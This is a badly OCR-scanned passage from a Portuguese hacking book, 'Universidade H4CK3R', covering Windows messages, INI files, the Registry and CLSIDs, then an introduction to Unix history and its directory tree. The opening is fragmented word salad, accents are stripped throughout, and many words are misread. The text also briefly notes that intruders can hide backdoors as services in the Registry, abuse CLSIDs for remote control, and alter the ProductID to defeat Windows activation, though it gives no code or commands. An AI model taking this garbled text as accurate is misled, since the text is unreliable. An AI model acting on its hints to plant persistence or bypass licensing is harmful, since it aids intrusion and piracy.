e diferenas um mdulo
de Objetos, de
de Processos de
cuidam Um
instncias
processos de
para que
o kernel. fornece
o Gerenciador e segurana
de Referncia para
os subsistemas
Lembre-se
verdadeiramente e controle
multiusuria
e, portanto, mdulo,
chama-
agrega
de E/S do Windows
externa
os dispositivos subsistemas
que
mquinas exclusivo
apresenta
de autenticao de Segurana
de Referncia
prover
pouco
como Pesquise
cada na
um
a funciona explicaes
Internet por
sobre
deixar casa
de procurar e v ver
nenhum. um
o livro, arrume-se,
gente. Tomar
1731
I
Plataforma
Windows
I Universidade
H4CK3R I
Entidades
o Windows um sistema operacional baseado em eventos. Por eventos, entendemos qualquer atividade em algum hardware - o movimento do mouse, por exemplo - ou os sinais provenientes de programas - quando uma janela fechada. O Windows possui trs entidades principais: programas, janelas e mensagens. Os programas so os aplicativos que as pessoas usam: seu editor de textos preferido, a calculadora, o jogo de Pacincia ou o emulado r de terminal. Cada programa possui uma ou mais janelas. O usurio se comunica com os programas atravs do sistema operacional, que se utiliza de mensagens para tal. Cada programa se comunica com suas vrias janelas tambm atravs de mensagens. . Os programas so compostos de um ou mais arquivos. Os tipos mais comuns de arquivos em programas para Windows so os de extenso EXE (as partes do cdigo especficas daquele programa), DLL (bibliotecas compartilhados de funes) e, mais recentemente, controles ActiveX (um tipo especial de DLL contendo extenses multimdia). As DLLsso componentes importantes nos sistemas Windows. Acrnimo para Dinamic Link Libraries, elas so bibliotecas de funes que podem ser acessadas por qualquer aplicativo. Alm de reduzir o tamanho dos arquivos EXE, so as DLLs que permitem que vrios programas compartilhem o mesmo recurso ou a mesma caracterstica. Por exemplo, todos os aplicativos para Windows possuem a mesma aparncia devido a uma DLLem especial, a GDI.DLL,que cuida da interface grfica com o usurio. Praticamente todo o kernel do Windows baseado em arquivos DLP . Programadores podem, ainda, utilizar funes das Microsoft Foundation Classes para facilitar o seu trabalho. As MFCs esto contidas numa DLL chamada MFC.DLL. Os programas geram diversas janelas. Alm da apresentao visual, as janelas so entidades que encerram em si dezenas, s vezes centenas, de campos de informao que controlam cores, tamanho da janela, tamanho da borda, posio dos objetos dentro da janela, etc. Um deles chamado de handJe, que identifica o programa que gerou a janela. Outro campo o window hand1e, que identifica a janela com um nmero nico (diferente de zero) no sistema. Um terceiro campo de interesse o Z-order. a partir dele que o sistema define a ordem de apresentao das janelas. Para a comunicao entre o sistema operacional, os programas e suas janelas, so emitidas mensagens entre eles. Uma mensagem nada mais do que uma pequena estrutura de dados. Normalmente, ela inclui:
5 Obviamente no estamos considerando as partes do keme1 herdadas do MS-DOS. No Apndice "o Keme1 do MS-DOS" (que est no CD) temos uma dpida explicao de como funciona o keme1 do MS-DOS.
1741
Plataforma Windows [
Universidade 1ano
~ ~ ~ ~
Timestamp (hora em que foi emitida) da mensagem Identificador da mensagem Identificador da janela (window handIe) Dois ou mais campos para a mensagem em si
o identificador da mensagem informa ao programa ou janela o "assunto" da mensagem. Os nomes das mensagens so sugestivos, como por exemplo WM_LBUTTONDOWN (boto esquerdo do mouse foi pressionado) ou WM_KEYDOWN (uma tecla foi pressionada). Entretanto, internamente cada um desses nomes substitudo por uma constante numrica. Os nomes so apenas mnemnicos6. As mensagens so geradas de forma bem simples. Vamos imaginar uma situao real: o usurio pressionou a tecla "A:'.O teclado envia ao computador um trem de dados indicando primeiro que uma tecla foi pressionada, depois qual tecla foi essa e, em seguida, o nmero ASCIIdo caractere correspondente tecla. Quando o usurio solta a tecla, o teclado ainda envia um sinal indicando esse evento. Cada pea de hardware em seu computador possui um sinal eltrico chamado interrupo associado a ela. A ElOS do computador, quando recebe um sinal de interrupo, pra tudo o que est fazendo e desvia o processamento para um determinado endereo associado a essa interrupo, e entrega o controle da CPU ao programa que l reside. Esse programa chamado de manipulador de interrupes ou interrupt handler. O interrupt handler no um programa da ElOS e sim uma rotina do sistema operacional, portanto bvio que o Wmdows instalou l seu prprio manipulador para montar mensagens baseadas nas interrupes recebidas. A mensagem do exemplo conter o identificador de mensagens WM_KEYDOWN,um nmero identificando qual tecla foi pressionada e o identificador da janela em que a tecla foi pressionada. Depois disso, a mensagem ser enviada janela. O teclado gerar ainda outra mensagem identificada como WM- CHAR,contendo o cdigo ASCII da tecla. Quando a tecla for solta, gerada uma mensagem WM_KEYRELEASE. As mensagens geradas vo para uma ma chamada application message queue. Cada programa possui sua ma, e o Windows direciona corretamente as mensagens para cada um. As aplicaes vo sacando cada mensagem da ma e as redirecionando para as janelas correspondentes. As janelas, por sua vez, possuem funes embutidas chamadas de window procedures, que tratam os dados recebidos na mensagem e decidem o que fazer com eles. Algumas mensagens no so direcionadas a nenhuma janela. Tais mensagens caem no procedimento default do Windows e so tratadas pelo prprio kernel.
6 No objetivo deste livro servir de referncia para programadores. Entretanto, se voc quiser realmente aprender como vrus e cavalos de tria funcionam no Windows, necessrio que voc domine um pouco mais de programao do que o bsico de Visual Basic ou DeIphi. Bons pontos de partida so as documentaes da Microsoft Foundation Classes (MFC), do Windows Software DeveIopment Kit (WSDK) e o site oficial da Microsoft (www.microsoft.com).
1751
1
Plataforma
Windows
I Universidade H4CK3R I
Os arquivos INI
o veterano Windows 3 possua uma maneira aparentemente fcil de manter as configuraes do sistema. Por meio de arquivos de texto simples com extenso INI, era possvel definir todas as configuraes do Windows e das aplicaes, carregar drivers de dispositivo e mdulos para o kernel do sistema operacional. Inicialmente havia dois arquivos, WIN.INI e SYSTEM.INI.O primeiro armazenava as configuraes referentes ao usurio (cores, cones, posio das janelas) e o segundo as partes referentes mquina, ao hardware e ao funcionamento interno do Windows - drivers de dispositivo, programas residentes, caminhos e arquivos internos. O arquivo SYSTEM.INIguardava tambm configuraes dos programas e aplicativos que o usurio instalava em sua mquina. Mas a vida era dura antes do Windows 95. Os arquivos INI podiam ter um tamanho mximo de apenas 64 KB. Mesmo sendo um arquivo de texto puro essa limitao permitia guardar uma quantidade de informaes muito pequena. A soluo foi colocar, no SYSTEM.INI, apontadores para o local de outros arquivos INI, e cada aplicao poderia ter o seu. Os programas ainda tinham permisso de manter suas configuraes no SYSTEM.INI,mas os desenvolvedores eram encorajados a criar seus prprios INIs. Por exemplo, no SYSTEM.INIhavia uma indicao para o Microsoft Excel (C/OFFICEIEXCEL.INI), e nele o Excel guardaria suas configuraes. Simples, no? Nem tanto. No incio, os usurios instalavam poucos programas. Gerenciar poucos INIs era tarefa fcil para o Windows e para o usurio. Mas, medida que novos programas comearam a aparecer - alguns srios e uma imensa maioria de inutilidades repletas de barulhinhos -, j no era possvel desempenhar tal funo com a galhardia de outrora. Como determinar qual dos arquivos INI (os de sistema e os das aplicaes) ter precedncia, caso algum parmetro esteja conflitante? O limite de 64 KBtambm comeou a ficar pequeno para a quantidade de detalhes que cada aplicao tinha de armazenar, e mesmo o SYSTEM.INI estava repleto de vetores apontando para os outros INIs. Outros fatores contribuam para o aumento do tamanho dos INIs: aplicativos que eram desinstalados normalmente no removiam suas linhas do SYSTEM.INI, e mesmo um simples upgrade de programa (por exemplo, do WordPerfect 2 para o 3), na maioria das vezes, terminava em configuraes duplicadas no arquivo. No boot, o Wmdows era obrigado a ler o contedo de paquidrmicos WIN.INI e SYSTEM.INI, que, mesmo menores do que 64 KB, contribuam para a queda de desempenho do sistema.
761
Plataforma Windows [
Universidade 1 ano
Registrar o qu?
A partir do Windows NT,e notadamente no Windows 95, a Microsoft introduziu uma nova maneira de lidar com essas informaes que fosse, ao mesmo tempo, centralizada e flexvel. Batizada de Registro do Windows (ou, em ingls, Windows Registry), o novo sistema de armazenamento alivia o SO de ter de lidar com uma infmidade de arquivos INI espalhados por diversos diretrios. Mas o que , exatamente, esse negcio de Registro? Podemos defmi-Io como um banco de dados em que so arquivadas todas as configuraes do sistema. Sempre que um usurio faz alguma mudana no Painel de Controle, altera alguma associao de arquivo ou instala um programa, tais mudanas so guardadas nele. O sistema ainda usa o Registro para rastrear os softwares instalados, seus arquivos e como cada programa se relaciona com os outros. Em termos puramente lgicos, o registro uma entidade nica, embora esteja fisicamente contido em um conjunto de arquivos separados por afinidade de configurao. Cada um deles possui um tamanho limite de 40 MB - mais do que suficiente para qualquer aplicao. Na fanlia Wm9x temos os arquivos SYSTEM.DAT, que trata das configuraes de hardware e software, e USERDAT, que trata das configuraes pessoais de cada usurio. O Wmdows Me ainda possui um terceiro arquivo chamado CLASSES.DAT, que armazena algumas informaes sobre programas e associaes de arquivos. Os arquivos SYSTEM.DAT e CLASSES.DAT, sendo nicos, esto sempre no diretrio C\ WINDOWS.Sempre h um USERDATnesse mesmo diretrio, tambm. No entanto, se o seu sistema estiver configurado para permitir perfis, cada usurio ter seu prprio USERDATno diretrio C\WINDOWS\ Proilles\<nome do usurio>\, ficando o arquivo do diretrio do Wmdows apenas como default. Quando o usurio faz login no sistema, sua rea de trabalho personalizada ser lida e carregada. Caso a utilizao de perfis de usurio esteja desabilitada, todos os usurios compartilharo as mesmas preferncias gravadas em C\WINDOWS\USERDAT. A fanlia WinNT (incluindo a o Windows 2000) mantm todos os arquivos do registro em %SystemRoot%\System32\Config.Ao contrrio do Windows 9x, seis arquivos abrigam o registro da famlia NT: DEFAULT.DAT, SAM.DAT, SECURlTY.DAT, SOFTWARE.DAT, SYSTEM.DAT e NTUSERDAT.Os arquivos que contm o registro so chamados de Hives7. Apesar das diferenas fisicas, logicamente os registros das duas fanlias so muito parecidos. Ambos residem em arquivos binrios, so baseados em elementos simples, compostos por uma dupla "nome = dado", so organizados em cinco ou mais grandes sees, chamadas de Root Keys (ou HKEY s) e no podem ser editados diretamente: necessrio usar programas especiais para tal. Existem diversas ferramentas que podem ser utilizadas para visualizar e editar o registro. A mais simples o Editor de Registros (REGEDIT.EXE), includo no prprio Wmdows. Usaremos o RegEdit para "escarafunchar" um pouco em nosso sistema.
7 Uma curiosidade: os Hives do Wmdows XP no possuem a extenso .dat
1771
] Plataforma
Windows
I Universidade
H4CK3R
A estrutura do Registro
Para organizar melhor os dados no registro, adotou-se uma estrutura hierrquica. Por isso mesmo essa estrutura assemelha-se organizao em diretrios e subdiretrios - ou, usando a terminologia Microsoft, "pastas e subpastas". O RegEdit tira partido disso e apresenta essa estrutura de forma muito similar que o Windows Explorer mostra o contedo de seu disco rgido.
.,u.]..[ ".,..".
EI'~ Meu computador IJI1JiiIHKEY_CLASSES_ROOT $1:iI HKEY_CURRENT_USER ffi.GfjjJHKEY_LOCAL_MACHINE B~ HKEY_USERS IJJ~ .DEFAULT EI~ Software B'~ Micro$oft
[valor no definido)
,
.
I!H~"
Observe que os dados esto organizados em seis grandes grupos cujos nomes iniciam-se com a sigla HKEY Cada um desses grupos chamado de seo ou Root Key e pode conter valores chamados de chaves. Por exemplo, no Root Key HKEY_USERS do exemplo acima, h uma chave chamada .DEFAULT e outra chamada Software. Chaves podem possuir duplas nome/dado chamadas de valor ou outras chaves. A chave Software possui uma subchave chamada Microsoft, que por sua vez possui outra subchave chamada Windows, que por sua vez possui um valor padro. So as duplas nome/dado que realmente armazenam as informaes no registro. H trs tipos de valores: String (um valor em texto puro), Binary (um valor binrio - normalN.omei." mente dados referentes a hardware e chaves de ati;.!ILba&$v<.< "w J (Padro) (valorno definido) "1" vao criptografadas de software) e DWORD (norJ AUach ToD e,klop "16" 8!1 Bit,PerPixel malmente um valor booleano - 1 para ativado, O "240.180" 8!1 D e$ktopPo$ "96" 8!1 DPILogica~ para desativado).A utilizao de cada um deles de~"C"M:M'" pender do contexto. H cinco sees em algumas verses do Windows e seis nas demais. Cada seo tem uma especializao e contm as informaes referentes a ela. ~ HKEY_CLASSES_ROOT - Esta seo contm todas as associaes de arquivo do Windows. por meio dela que o Windows suporta drag and drop e OLE e permite a definio de atalhos no sistema. Alguns aspectos da GUI
178 I
Plataforma Windows r
Universidade 1ano
(interface grfica com o usurio) tambm so definidos nela. Para remover uma associao, basta excluir a chave com a extenso do arquivo. Este Root Key falso: na verdade, uma subchave de HKEY _LOCAL_MACHINE. ~ HKEY_CURRENT_USER - Contm as informaes do usurio que est atualmente usando o sistema. Tambm um Root Key falso: na verdade um atalho para uma subchave na seo HKEY_USERS. Quando o usurio d logout, todas as configuraes de desktop, menu Iniciar,login e senhas de HKEY_CURRENT_USER so salvas na chave exclusiva do usurio em HKEY_USERS. ~ HKEY_LOCAL_MACHINE - As informaes usveis por todos os usurios indiscriminadamente esto nesta seo, incluindo hardware e seus drivers, software instalado e sua configurao e preferncias globais em geral. ~ HKEY_USERS- Aqui vo as preferncias individuais de cada usurio, que representado por uma subchave CLSID.Quando o usurio se "Ioga"no sistema, suas preferncias e configuraes so copiadas daqui para HKEY_CURRENT_USER. Quando o usurio d "logout" - e aparece aquele dilogo dizendo "Salvando suas configuraes" ou "Saving your settings" -, o sistema est na realidade copiando o contedo de HKEY_CURRENT_USER de volta na chave privada do usurio em HKEY_USERS. Uma maneira fcil de voltar as configuraes do usurio ao padro do sistema apagar sua chave neste Root Key. ~ HKEY_CURRENT_CONFIG - Semelhante a HKEY_CURRENT_USER.Antes de serem salvas, as alteraes no registro referentes instalao de hardware e software esto guardadas neste Root Key,que na verdade apenas um atalho para uma subchave em HKEY _LOCAL_MACHINE. ~ HKEY_DYN_DATA- Mais um Root Key falso: aponta para outra subchave de HKEY _LOCAL_MACHINE. Dispositivos Plug and Play usam esta seo para armazenar suas configuraes durante a instalao. Como o prprio nome diz, esse Root Key dinmico e ser alterado sempre que dispositivos de hardware forem instalados ou removidos do sistema. Sistemas da famlia WinNT (incluindo Windows 2000 e Windows XP) no possuem este Root Key,embora a chave dentro de HKEY _LOCAL_MACHINE ainda exista. Todas as chaves e subchaves possuem um valor padro e podem possuir um ou mais valores modificveis. O que chamamos de valor na realidade uma dupla formada por um nome que o identifica e um dado a ele associado. Um duplo clique em qualquer um dos valores permite edit-Ios.No necessrio "salvar" as alteraes: o prprio RegEdit se encarrega de faz-Io automaticamente ao ser fechado.
CLSIO?
Algumas chaves e valores possuem um cdigo completamente ilegvel chamado CLSID.Acrnimo para Class Identifier, os CLSIDsso uma seqncia de letras
8 Classes so entidades "c1onveis" que encerram dentro de si valores variveis e constantes e rotinas chamadas de mtodos. Para mais informaes, consulte os apndices sobre programao disponiveis no CD.
1791
I
Plataforma
Windows
I Universidade
H4CK3R I
e nmeros, nicos no sistema, que identificam cada um dos componentes COM existentes. Um exemplo de CLSID {172BDDF8-CEEA-llDl-8B0500600806D9B6}. Complicado, no? Component Object Models ou COMsso meios de controlar o Wmdows atravs de scripts simples. O sistema usa o modelo cliente/servidor:h programas que oferecem servios COM para que aplicaes-cliente possam usar.As aplicaes-cliente so os scripts criados pelo usurio. Os servidores COM disponibilizam os mtodos (rotinas que fazem aJgumacoisa) e variveispor meio de c1asseS8. Cada uma das classesexistentes no Wmdows possui um identificador nico chamado ClassIdentifier ou CLSID. Um servidor COM muito conhecido dos programadores o Microsoft Word. possvel usar um objeto do Word em outras aplicaes por meio do CLSIDdesse objeto. Outros servidores COM muito usados so o Internet Explorer (a base do Windows) e o Outlook Express. possvel controlar diversos aspectos do Wmdows simplesmente associando CLSIDsa chaves no Registro. Assim como os programadores o fazem para facilitar sua vida, os hackers usam os CLSIDsno documentados para criar meios de "tomar" sua mquina em uma invaso. Por meio dos CLSIDs possvel usar os prprios mecanismos do Windows para estabelecer uma comunicao entre o computador invadido e o invasor, sem a necessidade de um cavalo de tria muito elaborado. Com esses fundamentos j possvel dissecar as entranhas desse ente misterioso. Os autores acreditam que seria possvel implementar CLSIDs com nomes mais legveis, mas a Microsoft no s elaborou o padro dessa forma obscurantista como no divulgou muitas informaes a respeito. Apesar disso, algumas informaes sobre CLSIDs, COM e o Registro podem ser encontradas no TechNet (www.microsoft.com/technet). Foge ao escopo deste livro analisar com profundidade todos os aspectos do Registro e seus CLSIDs, embora seja obrigao de todo candidato a hacker ir atrs desses conceitos.
180 I
Plataforma Windows [
Universidade
1 ano
good configuration" ou "Usar ltima configurao funcional". A chave CurrentControlSet existe em todas as famlias Windows e a que efetivamente abriga a configurao atual de seu computador. dividida em quatro sees: ~ A Control contm as configuraes do Painel de Controle. Na realidade, o Painel de Controle meramente um front end para essa chave. ~ A chave Enum contm informaes a respeito de todas as interfaces de I/O do computador, como USB,IDE e PCI.Normalmente no se deve "bulir" com essa chave, mas hackers experientes podem us-Ia para auxiliar no controle do computador invadido, forar uma vulnerabilidade ou plantar alguma bomba-relgio. ~ A Hardware Prof1les guarda as configuraes de hardware da mquina. O Windows permite que vrias configuraes de hardware diferentes possam ser usadas na mesma instalao, e elas so guardadas aqui. Para excluir uma configurao de hardware, basta excluir a subchave correspondente. O perfIl de hardware sendo usado est contido em Current. Hackers mal-intencionados podem alterar ou excluir as subchaves e deixar a mquina desconfigurada. ~ Por fIm, a Services contm dados sobre todos os servios que esto sendo executados. nessa seo que os drivers de dispositivo, as bibliotecas de vnculo dinmico (DLL) e os mdulos de virtualizao do kernel (VxD) so carregados. VxDs so, na realidade, referncias a grupos de arquivos com extenso SYS. Na chave Services tambm so armazenados os parmetros que devem ser passados aos VxDs e s DLLs quando so chamadas. Na prtica, todos os servios que o Windows conhece (estejam rodando ou no) esto armazenados em subchaves dentro de Services, incluindo servios de comunicao e redes. Isso signifIca que apagar uma chave dessas signifIca esconder do Windows a existncia de tal servio ou programa mesmo que ainda esteja fIsicamente instalado no HD! O administrador de sistemas pode simplesmente excluir daqui uma configurao de redes que esteja dando problemas. E o hacker, por sua vez, pode implementar seus backdoors como servios nessa chave. Ainda em HKEY_LOCAL_MACHINE, a chave HARDWARE contm atalhos para outras partes do registro que possuam informaes sobre o hardware instalado. composto pelas chaves ACPI (dados do fabricante da mquina), DESCRIPTION (dados sobre processador e memria), DEVlCEMAPS (configurao de dispositivos de E/S) e RESOURCEMAPS (configurao dos recursos do Windows). De todas as chaves de HKEY _LOCAL_MACHINE, talvez a mais importante para nosso estudo seja a seo SOFfWARE.Observe a organizao por fornecedor. A chave de cada fornecedor - por exemplo,Adobe, StarDivision, Microsoft - encerra as informaes globais para todos os aplicativos de um mesmo fabricante, incluindo rastreamento de verses, instrues para atualizao e desinstalao, pastas de instalao, de trabalho e de origem. Algumas variveis de sistema tambm so mantidas a, como, por exemplo, a chave Classes, que contm as associaes de arquivo. O Root Key HKEY_CLASSES_ROOT , na verdade, apenas um atalho para HKEY_LOCAL_MACHINE\SOFTWARE\Classes.
I
81
] Plataforma
Windows
I Universidade
H4CK3R
o tesouro
Cada fabricante tem sua prpria subchave, e a Microsoft, sendo tambm uma desenvolvedora de software, possui uma subchave em HKEY_LOCAL_MACHINE\ SOFIWARE. A diferena que, sendo a desenvolvedora do sistema, colocou ali tudo o que poderia ser necessrio para a configurao e integrao com outros produtos Microsoft. Portanto, no h aqui apenas infonnaes sobre os programas Microsoft instalados, como oWord ou o Excel.Muitas infonnaes que podem ser usadas pelos servios de BackOffice, bem como a maioria dos servios Microsoft, possuem chaves aqui. Infonnaes sobre DIls, controles e plug-insActiveX, o Microsoft Installer (MSI) e a localizao das mdias de instalao, entre outras coisas, tambm possuem entradas sob a chave Microsoft. Como exerccio antes de prosseguir, coloque o livro um pouco de lado e pesquise bastante em todas as subchaves abaixo da chave Microsoft. Entre em uma por uma, verifique seus nomes e subchaves, verifique o contedo (nome/ dado) dos valores. Observe que h chaves que possuem vrios valores em um nvel, mesmo este tendo subchaves de nvel mais baixo. No altere nada! Apenas observe e deixe a chave Windows para o lmal. Pronto? timo! Vamos olhar com mais ateno a chave Windows. Nela h trs chaves: Current Version, ITStorage e Shell. A ITStorage e Shell no tm muita utilidade em sistemas isolados, mas a Current Version possui muitas informaes interessantes. Observe os valores da prpria chave. Entre eles temos o ProductID (que, no Wmdows XP, , importantssimo para a ativao - e um dos valores alterados pelos crackers para burl-Ia) e os caminhos para os componentes primrios do Wmdows, como o local onde esto os arquivos de programas. Alm desses valores, a chave Current Version abriga centenas de subchaves. Algumas so fceis de entender, como a chave Explorer\Tips, que contm as "dicas do dia". possvel alter-Ias para colocar outras dicas ou mesmo incluir mais valores com novas dicas. Outras subchaves so mais hermticas. A subchave Installer, por exemplo, abriga dados relativos ao Microsoft Installer (MSI), mas faz uso dos indecifrveis valores CSLID.Navegue um pouco por essas duas chaves e s retome a leitura do livro quando tiver uma viso geral do fimcionamento de ambas. Com esses fimdamentos entendidos, o Registro do Wmdows j no deve ser mais um mistrio to obscuro para o leitor. Como "tarefa para casa", sugerimos o estudo (com o RegEdit) das seguintes chaves: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EventSystem HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Multimedia HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Outlook Express HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version\ - App paths
182 I
Plataforma Windows [
Universidade,o
ano
Control panel Controls Folders Explorer Installer policies Run (programas carregados em todos os boots) RunOnce (programas carregados s urna vez) - RunOnceEx (programas carregados s urna vez e depois excludos) - Setup - SharedDLLs (MUITO importante!) - Unins tall
Lembrando sempre de que tomamos como ponto de partida o Registro do Wmdows XP.Se o leitor possui outra verso do Windows, ser interessante tambm procurar pelas mesmas chaves nela para conhecer as diferenas e semelhanas.
9 Quem jogava arcade games no final dos anos 80 certamente reconhece de que jogo estamos falando, infelizmente no podemos dar mais nenhuma
essa frase. Se ainda no descobriu pista. Har bar bar bar bar ...
1831
] Plataforma
Windows
Plataformas
nlx
Captulo
'Subi talvez s mximas alturas, Mas, se hoje volto assim, com a alma s escuras. necessrio que inda eu suba mais!"
! Universidade H4CK3R I
No fomos ns que dissemos, mas sim a Netcraft (www:netcraft.com): 66% dos servidores Web na Internet rodam algum tipo de Unix. Essa maioria esmagadora de sites que prestigiam o veterano sado dos laboratrios da AT&T na dcada de 60 no o faz toa. Enquanto nas mquinas desktop (aquelas que voc usa em cima de sua escrivaninha, no trabalho ou em casa) o Microsoft Windows considerado o padro de fato, em servidores para Internet no h muita discusso em torno do sistema operacional a ser usado. a Unix um sistema com mais de 30 anos de estrada. Robusto, leve e portvel, vem sendo lapidado desde seu lanamento em 1969 e, apesar de j ser bem antigo, est sempre afinado com as novidades tecnolgicas. Por ser o sistema mais usado, tambm o sistema mais atacado. a fato de funcionar como o motor de dois teros dos sites do mundo e mesmo assim ser muito menosinvadido do que qualquer um dos adversrios mostra a confiabilidade desses sistemas. A contrapartida que, por ser assim to confivel e poderoso, tambm o sistema operacional mais usado para originar ataques, qualquer que seja o alvo.
86
Plataforma
Universidade 1ano
programadores. Tambm por essa origem, h uma enorme e fraternal comunidade de usurios que trocam experincias e se ajudam mutuamente. As grandes empresas que fabricam ou oferecem solues baseadas em Unix formaram um consrcio e definiram diversos padres que garantem interoperabilidade e conectividade. O Unix considerado, exatamente por isso, um sistema abertol. Sim, o Unix belo. Mas belo como um grande felino. Dom-Io requer treinamento, persistncia e um pouquinho de coragem. O conhecimento para dominar nossa fera no "rocket science", entretanto. As pessoas sentem-se amedrontadas pela quantidade de ferramentas disponveis ou pela prpria linha de comando. As interfaces grficas, apesar de no serem "toscas" como nos primeiros tempos, so diferentes das que a maioria dos usurios est acostumada. Por fim, h vrios "sabores" diferentes de Unix a escolher. Cada qual tem seus atrativos, mas tambm tem suas dillculdades e... Espere a! Sabores?
1871
I
Plataforma
Unix
I Universidade
H4CK3R
mente escrita no Assembler do PDP-7.Para convencer seus superiores nos Bell Labs da seriedade do projeto, apresentaram-no como um futuro sistema para processamento de textos, o que posteriormente evoluiu para um sistema operacional de uso geral.A palavra Unix2 era um trocadilho com o nome do MULTICS3. Apenas em 1971 o Unix seria considerado um sistema operacional acabado. At esse ano, muitas tecnologias foram desenvolvidas para que o "beb-ux" viesse ao mundo. Uma delas foi a linguagem C, desenvolvida por Dennis Ritchie a partir da linguagem B de Thompson. O Unix foi totalmente reescrito em C e pde, com isso, ser portado para qualquer mquina: bastava recompil-Io. O conceito de portabilidade o maior trunfo do Unix at hoje e abriu novos horizontes para a computao. Em 1977, o Unix foi lanado como sistema operacional comercial e, de l para c, vem equipando sistemas to diversos como dispositivos de mo e supercomputadores Cray. Neste livro, usamos a palavra Unix indiscriminadamente referindo-nos a qualquer variao ou "sabor" dos sistemas baseados no Sing1e Unix Specification, que engloba os padres POSIX,XPG4 e ANSI C. Outros autores usam as nomenclaturas *nix, u*ix e Unix-like. Unix marca registrada do The Open Group (www.unix-systems.org). "Similares a Unix" indica sistemas que se parecem com um Unix, mas no o so oficialmente (como o GNUlLinux e o FreeBSD).
POSIX
Os trs documentos que formam o superconjunto Single Unix Specification aplicam-se a partes diferentes do sistema. ANSI C o padro para a linguagem de programao recomendada para o desenvolvimento de sistemas Unix e pode ser encontrado em (www.ansi.org). J o XPG4 o padro para implementao do servidor X, o programa central para aplicaes grficas em Unix. Informaes sobre a especificao, o servidor X e o X Consortium podem ser obtidas em (www.x.org). Mas h um mais importante que os outros dois. Todo Unix que se preze deve, obrigatoriamente, aderir ao POSIX, um padro mantido por vrias entidades: IEEE e Open Group, nos Estados Unidos, e ISO/IEC, na Europa. Ele define as chamadas de sistema, ou seja, as mensagens e sinais que os processos vo trocar entre si. Podem ser comparadas s mensagens do Windows que vimos no captulo anterior, mas as system calls do Unix so muito mais numerosas, especializadas e modulares.
2 No h espao aqui para contar toda a interessantssima histria do Unix. Um dos melhores documentos sobre os primeiros dias, escrito por Dennis Ritchie, pode ser encontrado no endereo cm.bell-labs.com/cm/cs/who/dmr/hist.htmI. Alm de curiosidades histricas, so descritos os fatos que levaram o Unix a se parecer com o que hoje. 3 No pense que o MUL11CSmorreu em 1969! Seu desenvolvimento continuou e a GE (depois comprada pela Honeywell e, mais recentemente, pela BulI) utilizou-Q como um de seus sistemas principais por muitos anos. O ltimo sistema MUL11CSainda em 1imcionamento foi oficialmente desativado em 31 de outubro do ano 2000. Para saber mais sobre MUL11CS, visite o site dos aficionados: www.multicians.orl!. Um ensaio sobre o quanto o Unix foi inspirado no MULTICS pode ser visto em www.muIticians.orl!/unix.htmI.
188 I
Plataforma Unix r
Universidade 1ano
As entranhas da fera
Todas as recomendaes que j demos no captulo anterior valem para este tambm (e para todos os subseqentes - repetiremo-Ios diversas vezes, quase que como uma lavagem cerebral...). Todo hacker que se preze deve conhecer sistemas Unix, mesmo que os odeie. possvel que, depois da leitura deste captulo, antigos detratores desse decano mudem de religio e passem a rezar na igreja de Ken Thompson. Mas, convencido ou no, os sistemas Unix certamente faro parte de sua vida de ciberativista.
1891
I
Plataforma
Unix
I Universidade
Estrutura Os sistemas operacionais da fan1iaUnix podem, para fins didticos, ser divididos em partes classificadas por funo: kemel (ceme ou ncleo), shell (concha ou casca) e programas do usurio (aplicativos e ferramentas). Como essa abordagem muito parecida com a prpria definio de sistema operacional , podemos usar uma simplificao do diagrama em camadas para demonstr-Io. Essestrs grandes componentes se utilizam de uma estrutura fsica universal chamada de sistema de arquivos.Antes de entrar em detalhes sobre shell, system calls, processos e kemel, vamos mergulhar um pouco nessa infra-estrutura sobre a qual todos os Unix so montados. So necessrios alguns fundamentos e comandos do shell para percorr-Io. Caso tudo isso seja muito novo para voc, consulte o apndice E,"B--b do Unix".
4 Lembrando que o Registro dos sistemas Windows fisicamente gravado em diversos arquivos, e que cada verso possui um conjunto diferente deles. Quando falamos em organizao do Registro aqui, estamos nos referindo organizao lgica, aquela que apresentada ao usurio quando ele abre o Editor de Registro e que comum a todas as verses do sistema.
'
Plataforma Unix I
Universidade 1 ano
Os Unix, por outro lado, so estruturados justamente a partir do sistema de arquivos. Qualquer coisa que possa ser manipulada no sistema tratada como um arquivo. Isso inclui dispositivos de hardware (como sua placa de som ou a porta de impressora), os processos em execuo e, obviamente, os arquivos comuns. possvel, por exemplo, copiar um MP3 para dentro do arquivo correspondente sua placa de som: como por mgica, a msica soar nos alto-falantes. Os arquivos ligados aos processos em execuo podem ser usados para controllos. Ler esses arquivos normalmente nos permite ter acesso a informaes sobre o processo; e, grosso modo, podemos escrever neles para mandar mensagens ao processo. No h indicao no padro POSIX a respeito da organizao hierrquica de diretrios: sistemas de arquivos Unix seguem um padro tcito e no oficial. H diversos documentos e proposies tcnicas a respeito, como o File Hierarchy Standard (www.pathname.com/fhs). mas nenhuma desenvolvedora comercial de Unix obrigada a segui-los.A nica exceo so os sistemas GNU/Linux, que possuem uma padronizao especfica e rgida para isso na Linux Standard Base (www.1inuxbase.org). Mesmo no havendo um documento oficial, h um consenso na distribuio de diretrios em um sistema Unix. Exceto por diferenas muito sutis, a "rvore" de diretrios de qualquer sabor de Unix se parece com esta. A hierarquia de diretrios , na verdade, um superconjunto ou unio das principais estruturas dos "sabores" mais comuns. Em alguns sitemas, por exemplo, no temos o /proc; em outros, o /dev existe, mas possui outro nome; e a organizao abaixo de !lib, /usr e /var tambm varia entre os diversos tipos de Unix. Mas o "esqueleto" basicamente esse, e a partir dele muito fcil descobrir e entender as diferenas de um sistema em especial. O diretrio principal, aquele que contm todos os outros, chamado de raiz, apesar de estar no topo da estrutura5. representado por um sinal de barra (I) - no confundir com a barra invertida (\) usada no Windows - e qualquer arquivo ou diretrio referenciado a partir dele. Por exemplo, o diretrio tmp deve ser representado como /tmp. Um arquivo qualquer dentro do diretrio /tmp seria encontrado se dssemos o endereo completo: /tmp/arquivo. Cada um dos diretrios possui uma funo especfica: ~ Ibin: ferramentas necessrias para a operao do sistema; ~/sbin: ferramentas do administrador necessrias para a operao e manuteno do sistema - o "s" de superuser; ~ /dev: cada dispositivo de hardware instalado possui um arquivo neste diretrio; ~/etc: os arquivosde configurao do sistemae dos programas esto neste diretrio;
5 Considere que nossa estrutura uma rvore invertida (galhos no cho e raizes ao cu) e a visualzao flcar fcil.
191 I
